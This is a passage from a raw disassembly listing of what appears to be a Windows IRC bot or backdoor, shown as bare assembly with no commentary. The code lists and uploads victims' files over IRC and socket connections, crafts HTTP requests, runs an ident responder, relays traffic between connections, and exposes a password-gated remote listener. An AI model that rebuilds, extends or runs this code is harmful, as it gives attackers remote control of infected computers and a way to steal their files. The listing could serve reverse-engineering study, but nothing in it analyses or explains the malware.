"%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi ; Count push eax ; Dest call __snprintf add esp, 14h jmp loc_41090D ; --------------------------------------------------------------------------- loc_4107B4: ; CODE XREF: sub_41036B+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_4107F3 push ebx push [ebp+var_368] call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Str1] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi ; Count loc_4107DF: ; CODE XREF: sub_41036B+577j lea eax, [ebp+var_248] push eax ; Dest call __snprintf add esp, 1Ch jmp loc_41090D ; --------------------------------------------------------------------------- loc_4107F3: ; CODE XREF: sub_41036B+44Fj cmp [ebp+Source], ebx jz loc_4108E7 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send lea eax, [ebp+Str1] push eax lea eax, [ebp+var_248] push [ebp+Source] push offset aSS ; "%s%s" push edi ; Count push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send lea eax, [ebp+Str1] push eax ; Str call _strlen cmp eax, 1Fh pop ecx lea eax, [ebp+Str1] push eax jbe short loc_410893 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_410898 ; --------------------------------------------------------------------------- loc_410893: ; CODE XREF: sub_41036B+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_410898: ; CODE XREF: sub_41036B+526j lea eax, [ebp+var_248] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+Dest] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4107DF ; --------------------------------------------------------------------------- loc_4108E7: ; CODE XREF: sub_41036B+48Bj push [ebp+var_368] lea eax, [ebp+Dest] push eax lea eax, [ebp+Str1] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_4108FD: ; CODE XREF: sub_41036B+315j push esi ; Count loc_4108FE: ; CODE XREF: sub_41036B+3FFj lea eax, [ebp+var_248] push eax ; Dest call __snprintf add esp, 18h loc_41090D: ; CODE XREF: sub_41036B+444j ; sub_41036B+483j lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send cmp [ebp+arg_8], ebx jz short loc_41093C push 7D0h call ds:dword_427080 ; Sleep loc_41093C: ; CODE XREF: sub_41036B+22Bj ; sub_41036B+246j ... lea eax, [ebp+var_388] push eax push [ebp+Str] call ds:dword_427120 ; FindNextFileA test eax, eax jnz loc_410590 loc_410954: ; CODE XREF: sub_41036B+21Aj push [ebp+Str] call ds:dword_427000 ; FindClose cmp [ebp+arg_8], ebx jz short loc_410997 mov eax, [ebp+var_8] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax ; Dest call _sprintf add esp, 14h jmp short loc_4109CB ; --------------------------------------------------------------------------- loc_410997: ; CODE XREF: sub_41036B+5F5j cmp [ebp+Source], ebx jz short loc_4109B1 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax ; Dest call _sprintf pop ecx pop ecx jmp short loc_4109CB ; --------------------------------------------------------------------------- loc_4109B1: ; CODE XREF: sub_41036B+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax ; Dest call _sprintf add esp, 10h loc_4109CB: ; CODE XREF: sub_41036B+62Aj ; sub_41036B+644j lea eax, [ebp+var_248] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_41036B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109F1 proc near ; CODE XREF: sub_40FF31+13Cp Dst = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call ds:dword_4270F8 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410AA9 push esi push ebx call ds:dword_427114 ; GetFileSize cmp eax, esi mov [ebp+arg_4], eax jz short loc_410AA2 loc_410A36: ; CODE XREF: sub_4109F1+AFj push 400h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_410A53 mov edi, [ebp+arg_4] loc_410A53: ; CODE XREF: sub_4109F1+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call ds:dword_427128 ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+Dst] push edi push eax push ebx call ds:dword_4270EC ; ReadFile push esi lea eax, [ebp+Dst] push edi push eax push [ebp+arg_0] call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jnz short loc_410A9D call dword_4CB968 ; WSAGetLastError cmp eax, 2733h jnz short loc_410AA2 xor eax, eax loc_410A9D: ; CODE XREF: sub_4109F1+9Bj sub [ebp+arg_4], eax jnz short loc_410A36 loc_410AA2: ; CODE XREF: sub_4109F1+43j ; sub_4109F1+A8j push ebx call ds:dword_427070 ; CloseHandle loc_410AA9: ; CODE XREF: sub_4109F1+30j pop edi pop esi pop ebx leave retn sub_4109F1 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_410AAE(char *Str) sub_410AAE proc near ; CODE XREF: sub_4100B4+181p Str = dword ptr 4 push esi push edi mov edi, [esp+8+Str] xor esi, esi push edi ; Str call _strlen test eax, eax pop ecx jbe short loc_410AD7 loc_410AC1: ; CODE XREF: sub_410AAE+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_410ACB mov byte ptr [esi+edi], 2Fh loc_410ACB: ; CODE XREF: sub_410AAE+17j push edi ; Str inc esi call _strlen cmp esi, eax pop ecx jb short loc_410AC1 loc_410AD7: ; CODE XREF: sub_410AAE+11j mov eax, edi pop edi pop esi retn sub_410AAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_410ADC(int,char *Str,int,int,int,int,int,int,int) sub_410ADC proc near ; CODE XREF: sub_401ACD+51B7p var_4A0 = byte ptr -4A0h Dest = byte ptr -310h Format = byte ptr -110h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CB944 ; WSAStartup push 6 push 1 push 2 call dword_4CBA54 ; socket mov ebx, eax xor edi, edi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_14] call dword_4CB9D4 ; htons push [ebp+arg_10] mov [ebp+var_E], ax call sub_40A8F0 pop ecx mov [ebp+var_C], eax lea eax, [ebp+Dst] push 10h push eax push ebx call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jz short loc_410BB9 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410B55 mov eax, offset byte_43DB88 loc_410B55: ; CODE XREF: sub_410ADC+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+Format] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Format] push edi push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Format] push eax push ebx call dword_4CBA24 ; send push esi ; Size lea eax, [ebp+Format] push edi ; Src push eax ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+Format] push edi push esi push eax push ebx call dword_4CB9EC ; recv pop esi loc_410BB9: ; CODE XREF: sub_410ADC+6Bj push ebx call dword_4CBA6C ; closesocket call dword_4CB92C ; WSACleanup lea eax, [ebp+Format] push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_410BF9 push edi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h loc_410BF9: ; CODE XREF: sub_410ADC+102j pop edi pop ebx leave retn sub_410ADC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410BFD proc near ; DATA XREF: WinMain(x,x,x,x)+445o ; sub_401ACD+438Bo Str = byte ptr -238h Dest = byte ptr -38h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h Dst = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst mov [ebp+var_8], esi call _memset add esp, 0Ch mov [ebp+Dst], 2 push 71h call dword_4CB9D4 ; htons push esi push 1 push 2 mov [ebp+var_1A], ax mov [ebp+var_18], esi call dword_4CBA54 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410D61 mov eax, [ebp+arg_0] push edi imul eax, 234h mov dword_43E91C[eax], ebx lea eax, [ebp+Dst] push eax push ebx call dword_4CBA00 ; bind cmp eax, 0FFFFFFFFh jz loc_410D61 push 5 push ebx call dword_4CB9FC ; listen cmp eax, 0FFFFFFFFh jz loc_410D61 mov [ebp+var_C], edi mov edi, 200h loc_410C88: ; CODE XREF: sub_410BFD+EAj ; sub_410BFD+14Dj ... lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C] push eax push ebx call dword_4CBA68 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_410D5C movzx eax, [ebp+var_2A] push eax push [ebp+var_28] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+Str] push offset asc_435164 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Str] push eax call sub_415D38 add esp, 14h lea eax, [ebp+Str] push esi push edi push eax push [ebp+var_4] call dword_4CB9EC ; recv cmp eax, 0FFFFFFFFh jz short loc_410C88 lea eax, [ebp+Str] push esi ; int push eax ; Str call sub_4184CC push 0Ch ; Size lea eax, [ebp+Dest] push esi ; Val push eax ; Dst call _memset push esi ; Str1 push esi ; int lea eax, [ebp+Dest] push 2 ; int push eax ; Dest call sub_40AE84 add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp+Str] push edi ; Count push eax ; Dest call __snprintf add esp, 10h lea eax, [ebp+Str] push esi push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push [ebp+var_4] call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz loc_410C88 mov [ebp+var_8], 1 jmp loc_410C88 ; --------------------------------------------------------------------------- loc_410D5C: ; CODE XREF: sub_410BFD+A0j cmp [ebp+var_8], esi jnz short loc_410D88 loc_410D61: ; CODE XREF: sub_410BFD+47j ; sub_410BFD+6Bj ... call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+Str] push offset asc_435120 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Str] push eax call sub_415D38 add esp, 10h loc_410D88: ; CODE XREF: sub_410BFD+162j push ebx call dword_4CBA6C ; closesocket push [ebp+var_4] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push esi call ds:dword_4270D4 ; ExitThread pop edi pop esi pop ebx sub_410BFD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410DAB proc near ; DATA XREF: sub_401ACD+605Do Source = byte ptr -350h var_150 = byte ptr -150h var_14C = dword ptr -14Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = byte ptr -18h Dst = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_150] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_44] call dword_4CB9D4 ; htons push 6 push 1 push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi mov [ebp+var_4], edi call dword_4CBA54 ; socket cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_410F17 mov ecx, [ebp+var_40] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43E91C[ecx], eax call dword_4CB8E4 ; WSAAsyncSelect lea eax, [ebp+Dst] push edi push eax push [ebp+arg_0] call dword_4CBA00 ; bind test eax, eax jnz loc_410F17 push 0Ah push [ebp+arg_0] call dword_4CB9FC ; listen test eax, eax jnz loc_410F17 loc_410E5B: ; CODE XREF: sub_410DAB+C6j ; sub_410DAB+147j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] call dword_4CBA68 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_410E5B movzx eax, [ebp+var_26] push [ebp+var_40] mov [ebp+var_14C], edi mov [ebp+var_30], esi push eax push [ebp+var_24] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_4351CC ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Source] push 18h ; int push eax ; Source call sub_40B3BA mov [ebp+var_3C], eax imul eax, 234h mov ecx, [ebp+var_40] add esp, 20h mov dword_43E914[eax], ecx lea eax, [ebp+var_18] push eax lea eax, [ebp+var_150] push esi push eax push offset sub_410F3C push esi push esi call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_3C] imul ecx, 234h cmp eax, esi mov dword_43E924[ecx], eax jz short loc_410F02 loc_410EEF: ; CODE XREF: sub_410DAB+155j cmp [ebp+var_30], esi jnz loc_410E5B push 32h call ds:dword_427080 ; Sleep jmp short loc_410EEF ; --------------------------------------------------------------------------- loc_410F02: ; CODE XREF: sub_410DAB+142j call ds:dword_427094 ; RtlGetLastWin32Error push eax ; Args push offset asc_435190 ; "-" call sub_415DAC pop ecx pop ecx jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F17: ; CODE XREF: sub_410DAB+63j ; sub_410DAB+97j ... mov edi, [ebp+arg_0] loc_410F1A: ; CODE XREF: sub_410DAB+16Aj push edi call dword_4CBA6C ; closesocket push [ebp+arg_0] call dword_4CBA6C ; closesocket push [ebp+var_40] call sub_40B6D6 pop ecx push esi call ds:dword_4270D4 ; ExitThread pop edi pop esi sub_410DAB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F3C proc near ; DATA XREF: sub_410DAB+124o var_1344 = byte ptr -1344h Source = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch Dst = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] push 1 pop ecx mov [ebp+var_4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CBA54 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_4110F2 push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_3C] call dword_4CB9D4 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_4CBA14 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_410FCC lea eax, [ebp+var_13C] push eax call dword_4CBA58 ; gethostbyname jmp short loc_410FDA ; --------------------------------------------------------------------------- loc_410FCC: ; CODE XREF: sub_410F3C+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CB98C ; gethostbyaddr loc_410FDA: ; CODE XREF: sub_410F3C+8Ej cmp eax, edi jz loc_4110F2 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+Dst] push eax push esi call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jz loc_4110F2 movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_435254 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Source] push 18h ; int push eax ; Source call sub_40B3BA imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_43E91C[ebx] mov dword_43E914[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43E920[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_411123 push edi push edi call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov dword_43E924[ecx], eax jz short loc_4110DF loc_41108C: ; CODE XREF: sub_410F3C+15Dj cmp [ebp+var_20], edi jnz short loc_41109B push 32h call ds:dword_427080 ; Sleep jmp short loc_41108C ; --------------------------------------------------------------------------- loc_41109B: ; CODE XREF: sub_410F3C+153j mov ebx, 1000h loc_4110A0: ; CODE XREF: sub_410F3C+19Fj push ebx ; Size lea eax, [ebp+var_1344] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call dword_4CB9EC ; recv cmp eax, edi jle short loc_4110F2 push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jnz short loc_4110A0 jmp short loc_4110F2 ; --------------------------------------------------------------------------- loc_4110DF: ; CODE XREF: sub_410F3C+14Ej call ds:dword_427094 ; RtlGetLastWin32Error push eax ; Args push offset asc_435214 ; "-" call sub_415DAC pop ecx pop ecx loc_4110F2: ; CODE XREF: sub_410F3C+44j ; sub_410F3C+A0j ... mov eax, [ebp+var_4] imul eax, 234h push dword_43E91C[eax] call dword_4CBA6C ; closesocket push [ebp+arg_0] call dword_4CBA6C ; closesocket push [ebp+var_4] call sub_40B6D6 pop ecx push edi call ds:dword_4270D4 ; ExitThread pop edi pop esi pop ebx sub_410F3C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411123 proc near ; DATA XREF: sub_410F3C+130o Dst = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call __alloca_probe mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_41115A: ; CODE XREF: sub_411123+7Cj push edi ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push 0 push edi push eax push dword_43E920[esi] call dword_4CB9EC ; recv test eax, eax jle short loc_4111A1 push 0 push eax lea eax, [ebp+Dst] push eax push dword_43E91C[esi] call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jnz short loc_41115A loc_4111A1: ; CODE XREF: sub_411123+61j push dword_43E920[esi] call dword_4CBA6C ; closesocket push [ebp+var_14] call sub_40B6D6 pop ecx push 0 call ds:dword_4270D4 ; ExitThread pop edi pop esi sub_411123 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4111C0 proc near ; DATA XREF: sub_41144E+1BEo var_3D4 = byte ptr -3D4h Str1 = byte ptr -350h var_208 = dword ptr -208h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_F0 = byte ptr -0F0h Dest = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = byte ptr -3Ch Args = byte ptr -2Ch var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp+var_3D4] push 1 mov [ebp+var_C], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp+var_208] mov [ebp+arg_0], eax imul eax, 234h lea esi, dword_43E91C[eax] xor edi, edi mov [ebp+var_8], edi mov [ebp+var_1F4], ebx mov eax, [esi] mov [ebp+var_1F0], eax lea eax, [ebp+var_C] push eax push edi lea eax, [ebp+var_1F4] push edi push eax push edi call dword_4CB9BC ; select test eax, eax jnz short loc_411244 push dword ptr [esi] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push edi call ds:dword_4270D4 ; ExitThread loc_411244: ; CODE XREF: sub_4111C0+6Aj push edi lea eax, [ebp+var_3C] push ebx push eax push dword ptr [esi] call dword_4CB9EC ; recv lea eax, [ebp+Args] push 10h push eax push dword ptr [esi] call sub_4113C5 lea eax, [ebp+var_4C] push 10h push eax push dword ptr [esi] call sub_4113C5 lea eax, [ebp+var_F0] push 40h push eax push dword ptr [esi] call sub_4113C5 add esp, 24h lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_1C] push eax push dword ptr [esi] call dword_4CB928 ; getpeername test eax, eax jz short loc_4112BD call dword_4CB968 ; WSAGetLastError push eax ; Args push offset asc_43532C ; "-" call sub_415DAC push [ebp+arg_0] call sub_40B6D6 add esp, 0Ch push edi call ds:dword_4270D4 ; ExitThread loc_4112BD: ; CODE XREF: sub_4111C0+D8j push 2 lea eax, [ebp+var_18] push 4 push eax call dword_4CB98C ; gethostbyaddr cmp eax, edi jnz short loc_4112E7 push [ebp+var_18] call dword_4CBA60 ; inet_ntoa push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf jmp short loc_4112F5 ; --------------------------------------------------------------------------- loc_4112E7: ; CODE XREF: sub_4111C0+10Dj push dword ptr [eax] ; Source lea eax, [ebp+Dest] push eax ; Dest call _strcpy loc_4112F5: ; CODE XREF: sub_4111C0+125j pop ecx pop ecx push edi push ebx push offset byte_43DB88 push dword ptr [esi] call dword_4CBA24 ; send cmp dword_4CE72C, edi jnz short loc_411357 push [ebp+var_18] lea eax, [ebp+Str1] push eax ; Str1 lea eax, [ebp+Dest] push eax ; int lea eax, [ebp+Args] push eax ; Args call sub_41141F add esp, 10h test eax, eax jnz short loc_411357 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CBA24 ; send push dword ptr [esi] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push edi call ds:dword_4270D4 ; ExitThread loc_411357: ; CODE XREF: sub_4111C0+14Cj ; sub_4111C0+16Dj lea eax, [ebp+Dest] push eax lea eax, [ebp+Args] push eax ; Args push offset asc_4352F0 ; "-" call sub_415DAC push [ebp+arg_0] call sub_4116D6 add esp, 10h test eax, eax jnz short loc_41139E call ds:dword_427094 ; RtlGetLastWin32Error push eax ; Args push offset asc_4352C4 ; "-" call sub_415DAC push [ebp+arg_0] call sub_40B6D6 add esp, 0Ch push ebx call ds:dword_4270D4 ; ExitThread loc_41139E: ; CODE XREF: sub_4111C0+1B9j lea eax, [ebp+Dest] push eax lea eax, [ebp+Args] push eax ; Args push offset asc_435298 ; "-" call sub_415DAC push [ebp+arg_0] call sub_40B6D6 add esp, 10h push edi call ds:dword_4270D4 ; ExitThread sub_4111C0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4113C5 proc near ; CODE XREF: sub_4111C0+9Ap ; sub_4111C0+A7p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB9EC ; recv cmp eax, 1 jnz short loc_411415 mov esi, [ebp+arg_4] loc_4113E3: ; CODE XREF: sub_4113C5+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_41140A test al, al jz short loc_411419 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB9EC ; recv cmp eax, 1 jz short loc_4113E3 jmp short loc_411415 ; --------------------------------------------------------------------------- loc_41140A: ; CODE XREF: sub_4113C5+27j push offset asc_435358 ; "-" call sub_415DAC pop ecx loc_411415: ; CODE XREF: sub_4113C5+19j ; sub_4113C5+43j xor eax, eax jmp short loc_41141C ; --------------------------------------------------------------------------- loc_411419: ; CODE XREF: sub_4113C5+2Bj push 1 pop eax loc_41141C: ; CODE XREF: sub_4113C5+52j pop esi leave retn sub_4113C5 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_41141F(char *Args,int,char *Str1) sub_41141F proc near ; CODE XREF: sub_4111C0+163p Args = dword ptr 4 arg_4 = dword ptr 8 Str1 = dword ptr 0Ch push [esp+Args] ; Str2 push [esp+4+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_41144A push [esp+arg_4] push [esp+4+Args] ; Args push offset asc_435384 ; "-" call sub_415DAC add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_41144A: ; CODE XREF: sub_41141F+11j push 1 pop eax retn sub_41141F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41144E proc near ; DATA XREF: sub_401ACD+237Ao var_5DC = dword ptr -5DCh var_5A4 = byte ptr -5A4h Source = byte ptr -414h var_214 = dword ptr -214h Str = byte ptr -210h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_24 = byte ptr -24h Dst = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5A4h mov eax, [ebp+arg_0] push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+var_214] push 1 rep movsd pop edi mov [eax+1DCh], edi lea eax, [ebp+var_5A4] push eax push 202h call dword_4CB944 ; WSAStartup xor esi, esi cmp eax, esi jz short loc_4114A7 push eax ; Args push offset asc_4354F4 ; "-" call sub_415DAC push [ebp+var_4C] call sub_40B6D6 add esp, 0Ch push edi call ds:dword_4270D4 ; ExitThread loc_4114A7: ; CODE XREF: sub_41144E+3Aj push edi push offset loc_4116CC call ds:dword_42712C ; SetConsoleCtrlHandler test eax, eax jnz short loc_4114E0 call ds:dword_427094 ; RtlGetLastWin32Error push eax ; Args push offset asc_4354B0 ; "-" call sub_415DAC pop ecx pop ecx call dword_4CB92C ; WSACleanup push [ebp+var_4C] call sub_40B6D6 pop ecx push edi call ds:dword_4270D4 ; ExitThread loc_4114E0: ; CODE XREF: sub_41144E+67j push ebx push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_50] call dword_4CB9D4 ; htons push 6 push edi push 2 mov [ebp+var_1E], ax mov [ebp+var_1C], esi call dword_4CBA54 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_411657 mov eax, [ebp+var_4C] push 10h imul eax, 234h mov dword_43E91C[eax], ebx lea eax, [ebp+Dst] push eax push ebx call dword_4CBA00 ; bind test eax, eax jnz 